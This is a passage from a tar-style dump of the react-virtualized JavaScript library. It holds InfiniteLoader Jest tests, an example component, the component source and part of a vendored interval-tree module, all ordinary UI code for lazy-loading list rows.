        switch (_context.prev = _context.next) {
          case 0:
            loadMoreRows = function _ref6() {
              return new Promise(function (resolve) {
                savedResolve = resolve;
              });
            };

            render(getMarkup({
              loadMoreRows: loadMoreRows
            }));
            rowRendererCalls.splice(0);
            _context.next = 5;
            return _regeneratorRuntime.awrap(savedResolve());

          case 5:
            expect(rowRendererCalls.length > 0).toEqual(true);
            done();

          case 7:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  it('should not :forceUpdate once rows have loaded rows are no longer visible', function _callee2(done) {
    var resolves, loadMoreRows;
    return _regeneratorRuntime.async(function _callee2$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            loadMoreRows = function _ref7() {
              return new Promise(function (resolve) {
                resolves.push(resolve);
              });
            };

            resolves = [];
            render(getMarkup({
              loadMoreRows: loadMoreRows
            })); // Simulate a new range of rows being loaded

            innerOnRowsRendered({
              startIndex: 100,
              stopIndex: 101
            });
            rowRendererCalls.splice(0);
            _context2.next = 7;
            return _regeneratorRuntime.awrap(resolves[0]());

          case 7:
            // Resolve the first request only, not the simulated row-change
            expect(rowRendererCalls.length).toEqual(0);
            done();

          case 9:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  describe('minimumBatchSize', function () {
    it('should respect the specified :minimumBatchSize when scrolling down', function () {
      render(getMarkup({
        minimumBatchSize: 10,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }]);
    });
    it('should respect the specified :minimumBatchSize when scrolling up', function () {
      render(getMarkup({
        minimumBatchSize: 10,
        scrollToIndex: 20,
        threshold: 0
      }));
      loadMoreRowsCalls.splice(0);
      render(getMarkup({
        isRowLoaded: function isRowLoaded(_ref8) {
          var index = _ref8.index;
          return index >= 20;
        },
        minimumBatchSize: 10,
        scrollToIndex: 15,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 10,
        stopIndex: 19
      }]);
    });
    it('should not interfere with :threshold', function () {
      render(getMarkup({
        minimumBatchSize: 10,
        threshold: 10
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 14
      }]);
    });
    it('should respect the specified :minimumBatchSize if a user scrolls past the previous range', function () {
      var isRowLoadedIndices = {};

      function isRowLoaded(_ref9) {
        var index = _ref9.index;

        if (!isRowLoadedIndices[index]) {
          isRowLoadedIndices[index] = true;
          return false;
        } else {
          return true;
        }
      }

      render(getMarkup({
        isRowLoaded: isRowLoaded,
        minimumBatchSize: 10,
        threshold: 0
      })); // Simulate a new range of rows being loaded

      innerOnRowsRendered({
        startIndex: 5,
        stopIndex: 10
      });
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }, {
        startIndex: 10,
        stopIndex: 19
      }]);
    });
    it('should not exceed ending boundaries if :minimumBatchSize is larger than needed', function () {
      render(getMarkup({
        minimumBatchSize: 10,
        rowCount: 25,
        threshold: 0
      })); // Simulate a new range of rows being loaded

      innerOnRowsRendered({
        startIndex: 18,
        stopIndex: 22
      });
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 9
      }, {
        startIndex: 15,
        stopIndex: 24
      }]);
    });
    it('should not exceed beginning boundaries if :minimumBatchSize is larger than needed', function () {
      render(getMarkup({
        minimumBatchSize: 10,
        scrollToIndex: 15,
        threshold: 0
      }));
      loadMoreRowsCalls.splice(0);
      render(getMarkup({
        isRowLoaded: function isRowLoaded(_ref10) {
          var index = _ref10.index;
          return index >= 6;
        },
        minimumBatchSize: 10,
        scrollToIndex: 2,
        threshold: 0
      }));
      expect(loadMoreRowsCalls.length).toEqual(1);
      expect(loadMoreRowsCalls).toEqual([{
        startIndex: 0,
        stopIndex: 5
      }]);
    });
  }); // Verifies improved memoization; see bvaughn/react-virtualized/issues/345

  it('should memoize calls to :loadMoreRows (not calling unless unloaded ranges have changed)', function () {
    render(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 20,
      threshold: 0
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 20
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 20
    }]);
  });
  it('resetLoadMoreRowsCache should reset memoized state', function () {
    var component = render(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 20,
      threshold: 0
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    loadMoreRowsCalls.splice(0);
    expect(loadMoreRowsCalls).toEqual([]);
    component.resetLoadMoreRowsCache();
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 15
    });
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 19
    }]);
  });
  it('resetLoadMoreRowsCache should call :loadMoreRows if :autoReload parameter is true', function () {
    var component = render(getMarkup({
      isRowLoaded: function isRowLoaded() {
        return false;
      },
      minimumBatchSize: 1,
      threshold: 0
    })); // Simulate a new range of rows being loaded

    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 0,
      stopIndex: 10
    });
    component.resetLoadMoreRowsCache(true);
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 0,
      stopIndex: 10
    }); // Simulate a new range of rows being loaded

    loadMoreRowsCalls.splice(0);
    innerOnRowsRendered({
      startIndex: 20,
      stopIndex: 30
    });
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 20,
      stopIndex: 30
    });
    loadMoreRowsCalls.splice(0);
    component.resetLoadMoreRowsCache(true);
    expect(loadMoreRowsCalls[loadMoreRowsCalls.length - 1]).toEqual({
      startIndex: 20,
      stopIndex: 30
    });
  });
});
describe('scanForUnloadedRanges', function () {
  function createIsRowLoaded(rows) {
    return function (_ref11) {
      var index = _ref11.index;
      return rows[index];
    };
  }

  it('should return an empty array for a range of rows that have all been loaded', function () {
    expect(scanForUnloadedRanges({
      isRowLoaded: createIsRowLoaded([true, true, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([]);
  });
  it('return a range of only 1 unloaded row', function () {
    expect(scanForUnloadedRanges({
      isRowLoaded: createIsRowLoaded([true, false, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([{
      startIndex: 1,
      stopIndex: 1
    }]);
  });
  it('return a range of multiple unloaded rows', function () {
    expect(scanForUnloadedRanges({
      isRowLoaded: createIsRowLoaded([false, false, true]),
      startIndex: 0,
      stopIndex: 2
    })).toEqual([{
      startIndex: 0,
      stopIndex: 1
    }]);
  });
  it('return multiple ranges of unloaded rows', function () {
    expect(scanForUnloadedRanges({
      isRowLoaded: createIsRowLoaded([true, false, false, true, false, true, false]),
      startIndex: 0,
      stopIndex: 6
    })).toEqual([{
      startIndex: 1,
      stopIndex: 2
    }, {
      startIndex: 4,
      stopIndex: 4
    }, {
      startIndex: 6,
      stopIndex: 6
    }]);
  });
});
describe('isRangeVisible', function () {
  it('first row(s) are visible', function () {
    expect(isRangeVisible({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 20,
      stopIndex: 30
    })).toEqual(true);
  });
  it('last row(s) are visible', function () {
    expect(isRangeVisible({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 0,
      stopIndex: 10
    })).toEqual(true);
  });
  it('all row(s) are visible', function () {
    expect(isRangeVisible({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 12,
      stopIndex: 14
    })).toEqual(true);
  });
  it('no row(s) are visible', function () {
    expect(isRangeVisible({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 0,
      stopIndex: 9
    })).toEqual(false);
    expect(isRangeVisible({
      lastRenderedStartIndex: 10,
      lastRenderedStopIndex: 20,
      startIndex: 21,
      stopIndex: 30
    })).toEqual(false);
  });
});
describe('forceUpdateReactVirtualizedComponent', function () {
  it('should call :recomputeGridSize if defined', function () {
    var recomputeGridSize = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component) {
      _inherits(TestComponent, _React$Component);

      function TestComponent() {
        var _getPrototypeOf2;

        var _this;

        _classCallCheck(this, TestComponent);

        for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
          args[_key] = arguments[_key];
        }

        _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(TestComponent)).call.apply(_getPrototypeOf2, [this].concat(args)));

        _defineProperty(_assertThisInitialized(_this), "recomputeGridSize", recomputeGridSize);

        return _this;
      }

      _createClass(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);

      return TestComponent;
    }(React.Component);

    forceUpdateReactVirtualizedComponent(render(React.createElement(TestComponent, null)), 10);
    expect(recomputeGridSize).toHaveBeenCalledTimes(1);
    expect(recomputeGridSize).toHaveBeenCalledWith(10);
  });
  it('should called :recomputeRowHeights if defined', function () {
    var recomputeRowHeights = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component2) {
      _inherits(TestComponent, _React$Component2);

      function TestComponent() {
        var _getPrototypeOf3;

        var _this2;

        _classCallCheck(this, TestComponent);

        for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
          args[_key2] = arguments[_key2];
        }

        _this2 = _possibleConstructorReturn(this, (_getPrototypeOf3 = _getPrototypeOf(TestComponent)).call.apply(_getPrototypeOf3, [this].concat(args)));

        _defineProperty(_assertThisInitialized(_this2), "recomputeRowHeights", recomputeRowHeights);

        return _this2;
      }

      _createClass(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);

      return TestComponent;
    }(React.Component);

    forceUpdateReactVirtualizedComponent(render(React.createElement(TestComponent, null)), 10);
    expect(recomputeRowHeights).toHaveBeenCalledTimes(1);
    expect(recomputeRowHeights).toHaveBeenCalledWith(10);
  });
  it('should call :forceUpdate otherwise', function () {
    var forceUpdate = jest.fn();

    var TestComponent =
    /*#__PURE__*/
    function (_React$Component3) {
      _inherits(TestComponent, _React$Component3);

      function TestComponent() {
        var _getPrototypeOf4;

        var _this3;

        _classCallCheck(this, TestComponent);

        for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
          args[_key3] = arguments[_key3];
        }

        _this3 = _possibleConstructorReturn(this, (_getPrototypeOf4 = _getPrototypeOf(TestComponent)).call.apply(_getPrototypeOf4, [this].concat(args)));

        _defineProperty(_assertThisInitialized(_this3), "forceUpdate", forceUpdate);

        return _this3;
      }

      _createClass(TestComponent, [{
        key: "render",
        value: function render() {
          return React.createElement("div", null);
        }
      }]);

      return TestComponent;
    }(React.Component);

    forceUpdateReactVirtualizedComponent(render(React.createElement(TestComponent, null)), 10);
    expect(forceUpdate).toHaveBeenCalledTimes(1);
  });
});es/InfiniteLoader/index.js000064400000000150151677406000011516 0ustar00import InfiniteLoader from './InfiniteLoader';
export default InfiniteLoader;
export { InfiniteLoader };es/InfiniteLoader/InfiniteLoader.example.js000064400000015062151677406000014745 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import * as React from 'react';
import PropTypes from 'prop-types';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import Immutable from 'immutable';
import AutoSizer from '../AutoSizer';
import InfiniteLoader from './InfiniteLoader';
import List from '../List';
import styles from './InfiniteLoader.example.css';
var STATUS_LOADING = 1;
var STATUS_LOADED = 2;

var InfiniteLoaderExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(InfiniteLoaderExample, _React$PureComponent);

  function InfiniteLoaderExample(props) {
    var _this;

    _classCallCheck(this, InfiniteLoaderExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(InfiniteLoaderExample).call(this, props));
    _this.state = {
      loadedRowCount: 0,
      loadedRowsMap: {},
      loadingRowCount: 0
    };
    _this._timeoutIdMap = {};
    _this._clearData = _this._clearData.bind(_assertThisInitialized(_this));
    _this._isRowLoaded = _this._isRowLoaded.bind(_assertThisInitialized(_this));
    _this._loadMoreRows = _this._loadMoreRows.bind(_assertThisInitialized(_this));
    _this._rowRenderer = _this._rowRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(InfiniteLoaderExample, [{
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      Object.keys(this._timeoutIdMap).forEach(function (timeoutId) {
        clearTimeout(timeoutId);
      });
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var list = this.context.list;
      var _this$state = this.state,
          loadedRowCount = _this$state.loadedRowCount,
          loadingRowCount = _this$state.loadingRowCount;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "InfiniteLoader",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/InfiniteLoader/InfiniteLoader.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/InfiniteLoader.md"
      }), React.createElement(ContentBoxParagraph, null, "This component manages just-in-time data fetching to ensure that the all visible rows have been loaded. It also uses a threshold to determine how early to pre-fetch rows (before a user scrolls to them)."), React.createElement(ContentBoxParagraph, null, React.createElement("div", {
        className: styles.cacheButtonAndCountRow
      }, React.createElement("button", {
        className: styles.button,
        onClick: this._clearData
      }, "Flush Cached Data"), React.createElement("div", {
        className: styles.cacheCountRow
      }, loadingRowCount, " loading, ", loadedRowCount, " loaded"))), React.createElement(InfiniteLoader, {
        isRowLoaded: this._isRowLoaded,
        loadMoreRows: this._loadMoreRows,
        rowCount: list.size
      }, function (_ref) {
        var onRowsRendered = _ref.onRowsRendered,
            registerChild = _ref.registerChild;
        return React.createElement(AutoSizer, {
          disableHeight: true
        }, function (_ref2) {
          var width = _ref2.width;
          return React.createElement(List, {
            ref: registerChild,
            className: styles.List,
            height: 200,
            onRowsRendered: onRowsRendered,
            rowCount: list.size,
            rowHeight: 30,
            rowRenderer: _this2._rowRenderer,
            width: width
          });
        });
      }));
    }
  }, {
    key: "_clearData",
    value: function _clearData() {
      this.setState({
        loadedRowCount: 0,
        loadedRowsMap: {},
        loadingRowCount: 0
      });
    }
  }, {
    key: "_isRowLoaded",
    value: function _isRowLoaded(_ref3) {
      var index = _ref3.index;
      var loadedRowsMap = this.state.loadedRowsMap;
      return !!loadedRowsMap[index]; // STATUS_LOADING or STATUS_LOADED
    }
  }, {
    key: "_loadMoreRows",
    value: function _loadMoreRows(_ref4) {
      var _this3 = this;

      var startIndex = _ref4.startIndex,
          stopIndex = _ref4.stopIndex;
      var _this$state2 = this.state,
          loadedRowsMap = _this$state2.loadedRowsMap,
          loadingRowCount = _this$state2.loadingRowCount;
      var increment = stopIndex - startIndex + 1;

      for (var i = startIndex; i <= stopIndex; i++) {
        loadedRowsMap[i] = STATUS_LOADING;
      }

      this.setState({
        loadingRowCount: loadingRowCount + increment
      });
      var timeoutId = setTimeout(function () {
        var _this3$state = _this3.state,
            loadedRowCount = _this3$state.loadedRowCount,
            loadingRowCount = _this3$state.loadingRowCount;
        delete _this3._timeoutIdMap[timeoutId];

        for (var i = startIndex; i <= stopIndex; i++) {
          loadedRowsMap[i] = STATUS_LOADED;
        }

        _this3.setState({
          loadingRowCount: loadingRowCount - increment,
          loadedRowCount: loadedRowCount + increment
        });

        promiseResolver();
      }, 1000 + Math.round(Math.random() * 2000));
      this._timeoutIdMap[timeoutId] = true;
      var promiseResolver;
      return new Promise(function (resolve) {
        promiseResolver = resolve;
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref5) {
      var index = _ref5.index,
          key = _ref5.key,
          style = _ref5.style;
      var list = this.context.list;
      var loadedRowsMap = this.state.loadedRowsMap;
      var row = list.get(index);
      var content;

      if (loadedRowsMap[index] === STATUS_LOADED) {
        content = row.name;
      } else {
        content = React.createElement("div", {
          className: styles.placeholder,
          style: {
            width: row.size
          }
        });
      }

      return React.createElement("div", {
        className: styles.row,
        key: key,
        style: style
      }, content);
    }
  }]);

  return InfiniteLoaderExample;
}(React.PureComponent);

_defineProperty(InfiniteLoaderExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { InfiniteLoaderExample as default };es/InfiniteLoader/InfiniteLoader.js000064400000023756151677406000013324 0ustar00import _toConsumableArray from "@babel/runtime/helpers/toConsumableArray";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import * as React from 'react';
import PropTypes from 'prop-types';
import createCallbackMemoizer from '../utils/createCallbackMemoizer';
/**
 * Higher-order component that manages lazy-loading for "infinite" data.
 * This component decorates a virtual component and just-in-time prefetches rows as a user scrolls.
 * It is intended as a convenience component; fork it if you'd like finer-grained control over data-loading.
 */

var InfiniteLoader =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(InfiniteLoader, _React$PureComponent);

  function InfiniteLoader(props, context) {
    var _this;

    _classCallCheck(this, InfiniteLoader);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(InfiniteLoader).call(this, props, context));
    _this._loadMoreRowsMemoizer = createCallbackMemoizer();
    _this._onRowsRendered = _this._onRowsRendered.bind(_assertThisInitialized(_this));
    _this._registerChild = _this._registerChild.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(InfiniteLoader, [{
    key: "resetLoadMoreRowsCache",
    value: function resetLoadMoreRowsCache(autoReload) {
      this._loadMoreRowsMemoizer = createCallbackMemoizer();

      if (autoReload) {
        this._doStuff(this._lastRenderedStartIndex, this._lastRenderedStopIndex);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      return children({
        onRowsRendered: this._onRowsRendered,
        registerChild: this._registerChild
      });
    }
  }, {
    key: "_loadUnloadedRanges",
    value: function _loadUnloadedRanges(unloadedRanges) {
      var _this2 = this;

      var loadMoreRows = this.props.loadMoreRows;
      unloadedRanges.forEach(function (unloadedRange) {
        var promise = loadMoreRows(unloadedRange);

        if (promise) {
          promise.then(function () {
            // Refresh the visible rows if any of them have just been loaded.
            // Otherwise they will remain in their unloaded visual state.
            if (isRangeVisible({
              lastRenderedStartIndex: _this2._lastRenderedStartIndex,
              lastRenderedStopIndex: _this2._lastRenderedStopIndex,
              startIndex: unloadedRange.startIndex,
              stopIndex: unloadedRange.stopIndex
            })) {
              if (_this2._registeredChild) {
                forceUpdateReactVirtualizedComponent(_this2._registeredChild, _this2._lastRenderedStartIndex);
              }
            }
          });
        }
      });
    }
  }, {
    key: "_onRowsRendered",
    value: function _onRowsRendered(_ref) {
      var startIndex = _ref.startIndex,
          stopIndex = _ref.stopIndex;
      this._lastRenderedStartIndex = startIndex;
      this._lastRenderedStopIndex = stopIndex;

      this._doStuff(startIndex, stopIndex);
    }
  }, {
    key: "_doStuff",
    value: function _doStuff(startIndex, stopIndex) {
      var _ref2,
          _this3 = this;

      var _this$props = this.props,
          isRowLoaded = _this$props.isRowLoaded,
          minimumBatchSize = _this$props.minimumBatchSize,
          rowCount = _this$props.rowCount,
          threshold = _this$props.threshold;
      var unloadedRanges = scanForUnloadedRanges({
        isRowLoaded: isRowLoaded,
        minimumBatchSize: minimumBatchSize,
        rowCount: rowCount,
        startIndex: Math.max(0, startIndex - threshold),
        stopIndex: Math.min(rowCount - 1, stopIndex + threshold)
      }); // For memoize comparison

      var squashedUnloadedRanges = (_ref2 = []).concat.apply(_ref2, _toConsumableArray(unloadedRanges.map(function (_ref3) {
        var startIndex = _ref3.startIndex,
            stopIndex = _ref3.stopIndex;
        return [startIndex, stopIndex];
      })));

      this._loadMoreRowsMemoizer({
        callback: function callback() {
          _this3._loadUnloadedRanges(unloadedRanges);
        },
        indices: {
          squashedUnloadedRanges: squashedUnloadedRanges
        }
      });
    }
  }, {
    key: "_registerChild",
    value: function _registerChild(registeredChild) {
      this._registeredChild = registeredChild;
    }
  }]);

  return InfiniteLoader;
}(React.PureComponent);
/**
 * Determines if the specified start/stop range is visible based on the most recently rendered range.
 */


_defineProperty(InfiniteLoader, "defaultProps", {
  minimumBatchSize: 10,
  rowCount: 0,
  threshold: 15
});

export { InfiniteLoader as default };
InfiniteLoader.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering a virtualized component.
   * This function should implement the following signature:
   * ({ onRowsRendered, registerChild }) => PropTypes.element
   *
   * The specified :onRowsRendered function should be passed through to the child's :onRowsRendered property.
   * The :registerChild callback should be set as the virtualized component's :ref.
   */
  children: PropTypes.func.isRequired,

  /**
   * Function responsible for tracking the loaded state of each row.
   * It should implement the following signature: ({ index: number }): boolean
   */
  isRowLoaded: PropTypes.func.isRequired,

  /**
   * Callback to be invoked when more rows must be loaded.
   * It should implement the following signature: ({ startIndex, stopIndex }): Promise
   * The returned Promise should be resolved once row data has finished loading.
   * It will be used to determine when to refresh the list with the newly-loaded data.
   * This callback may be called multiple times in reaction to a single scroll event.
   */
  loadMoreRows: PropTypes.func.isRequired,

  /**
   * Minimum number of rows to be loaded at a time.
   * This property can be used to batch requests to reduce HTTP requests.
   */
  minimumBatchSize: PropTypes.number.isRequired,

  /**
   * Number of rows in list; can be arbitrary high number if actual number is unknown.
   */
  rowCount: PropTypes.number.isRequired,

  /**
   * Threshold at which to pre-fetch data.
   * A threshold X means that data will start loading when a user scrolls within X rows.
   * This value defaults to 15.
   */
  threshold: PropTypes.number.isRequired
} : {};
export function isRangeVisible(_ref4) {
  var lastRenderedStartIndex = _ref4.lastRenderedStartIndex,
      lastRenderedStopIndex = _ref4.lastRenderedStopIndex,
      startIndex = _ref4.startIndex,
      stopIndex = _ref4.stopIndex;
  return !(startIndex > lastRenderedStopIndex || stopIndex < lastRenderedStartIndex);
}
/**
 * Returns all of the ranges within a larger range that contain unloaded rows.
 */

export function scanForUnloadedRanges(_ref5) {
  var isRowLoaded = _ref5.isRowLoaded,
      minimumBatchSize = _ref5.minimumBatchSize,
      rowCount = _ref5.rowCount,
      startIndex = _ref5.startIndex,
      stopIndex = _ref5.stopIndex;
  var unloadedRanges = [];
  var rangeStartIndex = null;
  var rangeStopIndex = null;

  for (var index = startIndex; index <= stopIndex; index++) {
    var loaded = isRowLoaded({
      index: index
    });

    if (!loaded) {
      rangeStopIndex = index;

      if (rangeStartIndex === null) {
        rangeStartIndex = index;
      }
    } else if (rangeStopIndex !== null) {
      unloadedRanges.push({
        startIndex: rangeStartIndex,
        stopIndex: rangeStopIndex
      });
      rangeStartIndex = rangeStopIndex = null;
    }
  } // If :rangeStopIndex is not null it means we haven't ran out of unloaded rows.
  // Scan forward to try filling our :minimumBatchSize.


  if (rangeStopIndex !== null) {
    var potentialStopIndex = Math.min(Math.max(rangeStopIndex, rangeStartIndex + minimumBatchSize - 1), rowCount - 1);

    for (var _index = rangeStopIndex + 1; _index <= potentialStopIndex; _index++) {
      if (!isRowLoaded({
        index: _index
      })) {
        rangeStopIndex = _index;
      } else {
        break;
      }
    }

    unloadedRanges.push({
      startIndex: rangeStartIndex,
      stopIndex: rangeStopIndex
    });
  } // Check to see if our first range ended prematurely.
  // In this case we should scan backwards to try filling our :minimumBatchSize.


  if (unloadedRanges.length) {
    var firstUnloadedRange = unloadedRanges[0];

    while (firstUnloadedRange.stopIndex - firstUnloadedRange.startIndex + 1 < minimumBatchSize && firstUnloadedRange.startIndex > 0) {
      var _index2 = firstUnloadedRange.startIndex - 1;

      if (!isRowLoaded({
        index: _index2
      })) {
        firstUnloadedRange.startIndex = _index2;
      } else {
        break;
      }
    }
  }

  return unloadedRanges;
}
/**
 * Since RV components use shallowCompare we need to force a render (even though props haven't changed).
 * However InfiniteLoader may wrap a Grid or it may wrap a Table or List.
 * In the first case the built-in React forceUpdate() method is sufficient to force a re-render,
 * But in the latter cases we need to use the RV-specific forceUpdateGrid() method.
 * Else the inner Grid will not be re-rendered and visuals may be stale.
 *
 * Additionally, while a Grid is scrolling the cells can be cached,
 * So it's important to invalidate that cache by recalculating sizes
 * before forcing a rerender.
 */

export function forceUpdateReactVirtualizedComponent(component) {
  var currentIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
  var recomputeSize = typeof component.recomputeGridSize === 'function' ? component.recomputeGridSize : component.recomputeRowHeights;

  if (recomputeSize) {
    recomputeSize.call(component, currentIndex);
  } else {
    component.forceUpdate();
  }
}es/vendor/intervalTree.js000064400000022050151677406000011457 0ustar00/**
 * Binary Search Bounds
 * https://github.com/mikolalysenko/interval-tree-1d
 * Mikola Lysenko
 *
 * Inlined because of Content Security Policy issue caused by the use of `new Function(...)` syntax in an upstream dependency.
 * Issue reported here: https://github.com/mikolalysenko/binary-search-bounds/issues/5
 **/
import bounds from './binarySearchBounds';
var NOT_FOUND = 0;
var SUCCESS = 1;
var EMPTY = 2;

function IntervalTreeNode(mid, left, right, leftPoints, rightPoints) {
  this.mid = mid;
  this.left = left;
  this.right = right;
  this.leftPoints = leftPoints;
  this.rightPoints = rightPoints;
  this.count = (left ? left.count : 0) + (right ? right.count : 0) + leftPoints.length;
}

var proto = IntervalTreeNode.prototype;

function copy(a, b) {
  a.mid = b.mid;
  a.left = b.left;
  a.right = b.right;
  a.leftPoints = b.leftPoints;
  a.rightPoints = b.rightPoints;
  a.count = b.count;
}

function rebuild(node, intervals) {
  var ntree = createIntervalTree(intervals);
  node.mid = ntree.mid;
  node.left = ntree.left;
  node.right = ntree.right;
  node.leftPoints = ntree.leftPoints;
  node.rightPoints = ntree.rightPoints;
  node.count = ntree.count;
}

function rebuildWithInterval(node, interval) {
  var intervals = node.intervals([]);
  intervals.push(interval);
  rebuild(node, intervals);
}

function rebuildWithoutInterval(node, interval) {
  var intervals = node.intervals([]);
  var idx = intervals.indexOf(interval);

  if (idx < 0) {
    return NOT_FOUND;
  }

  intervals.splice(idx, 1);
  rebuild(node, intervals);
  return SUCCESS;
}

proto.intervals = function (result) {
  result.push.apply(result, this.leftPoints);

  if (this.left) {
    this.left.intervals(result);
  }

  if (this.right) {
    this.right.intervals(result);
  }

  return result;
};

proto.insert = function (interval) {
  var weight = this.count - this.leftPoints.length;
  this.count += 1;

  if (interval[1] < this.mid) {
    if (this.left) {
      if (4 * (this.left.count + 1) > 3 * (weight + 1)) {
        rebuildWithInterval(this, interval);
      } else {
        this.left.insert(interval);
      }
    } else {
      this.left = createIntervalTree([interval]);
    }
  } else if (interval[0] > this.mid) {
    if (this.right) {
      if (4 * (this.right.count + 1) > 3 * (weight + 1)) {
        rebuildWithInterval(this, interval);
      } else {
        this.right.insert(interval);
      }
    } else {
      this.right = createIntervalTree([interval]);
    }
  } else {
    var l = bounds.ge(this.leftPoints, interval, compareBegin);
    var r = bounds.ge(this.rightPoints, interval, compareEnd);
    this.leftPoints.splice(l, 0, interval);
    this.rightPoints.splice(r, 0, interval);
  }
};

proto.remove = function (interval) {
  var weight = this.count - this.leftPoints;

  if (interval[1] < this.mid) {
    if (!this.left) {
      return NOT_FOUND;
    }

    var rw = this.right ? this.right.count : 0;

    if (4 * rw > 3 * (weight - 1)) {
      return rebuildWithoutInterval(this, interval);
    }

    var r = this.left.remove(interval);

    if (r === EMPTY) {
      this.left = null;
      this.count -= 1;
      return SUCCESS;
    } else if (r === SUCCESS) {
      this.count -= 1;
    }

    return r;
  } else if (interval[0] > this.mid) {
    if (!this.right) {
      return NOT_FOUND;
    }

    var lw = this.left ? this.left.count : 0;

    if (4 * lw > 3 * (weight - 1)) {
      return rebuildWithoutInterval(this, interval);
    }

    var r = this.right.remove(interval);

    if (r === EMPTY) {
      this.right = null;
      this.count -= 1;
      return SUCCESS;
    } else if (r === SUCCESS) {
      this.count -= 1;
    }

    return r;
  } else {
    if (this.count === 1) {
      if (this.leftPoints[0] === interval) {
        return EMPTY;
      } else {
        return NOT_FOUND;
      }
    }

    if (this.leftPoints.length === 1 && this.leftPoints[0] === interval) {
      if (this.left && this.right) {
        var p = this;
        var n = this.left;

        while (n.right) {
          p = n;
          n = n.right;
        }

        if (p === this) {
          n.right = this.right;
        } else {
          var l = this.left;
          var r = this.right;
          p.count -= n.count;
          p.right = n.left;
          n.left = l;
          n.right = r;
        }

        copy(this, n);
        this.count = (this.left ? this.left.count : 0) + (this.right ? this.right.count : 0) + this.leftPoints.length;
      } else if (this.left) {
        copy(this, this.left);
      } else {
        copy(this, this.right);
      }

      return SUCCESS;
    }

    for (var l = bounds.ge(this.leftPoints, interval, compareBegin); l < this.leftPoints.length; ++l) {
      if (this.leftPoints[l][0] !== interval[0]) {
        break;
      }

